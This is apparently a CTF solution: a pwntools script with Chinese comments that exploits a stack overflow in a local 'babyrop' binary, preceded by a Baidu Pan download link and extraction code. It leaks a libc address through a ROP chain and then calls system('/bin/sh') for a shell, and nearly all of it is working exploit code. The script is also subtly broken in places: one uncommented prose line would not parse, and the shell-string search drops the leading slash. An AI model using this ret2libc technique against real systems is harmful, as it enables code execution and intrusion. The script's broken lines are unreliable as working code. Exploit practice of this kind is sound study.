https://pan.baidu.com/s/1isG2u-fpihbPt_Lumd4q5A?pwd=r9vn
提取码:r9vn
from pwn import*
p=process('./babyrop')
context.log_level='debug'
gdb.attach(p)
elf=ELF("./babyrop")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
padding=0x28
pop_rdi_ret_addr=0x400733
#ida观察puts函数作为泄露函数,并且参数只有一个,因此,我们ROPgadget寻找rdi_ret即可满足。
overflow_addr=0x40067D
payload='a'*0x28+p64(pop_rdi_ret_addr)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(overflow_addr)
#栈溢出——rdi——ret——got表传给rdi中——ret到plt表调用puts函数——ret到泄露函数地址
p.sendafter("Pull up your sword and tell me u story!\n",payload)
在此步骤前运行下脚本观察接收到几个字节。决定下一步接受几个字节,然后ljust扩充到8字节满足16进制u64解包。
libc_base_addr=u64(p.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
print(hex(libc_base_addr))
#打印出来libc基址,验证前面脚本是否出错。
system_addr=libc_base_addr+libc.symbols['system']
binsh=libc_base_addr+libc.search("bin/sh\x00").next()
sleep(1)
#程序暂停一秒,防止两个payload一起发送
payload='a'*0x28+p64(pop_rdi_ret_addr)+p64(binsh)+p64(system_addr)
#binsh传入rdi,ret返回system函数
p.send(payload)
p.interactive()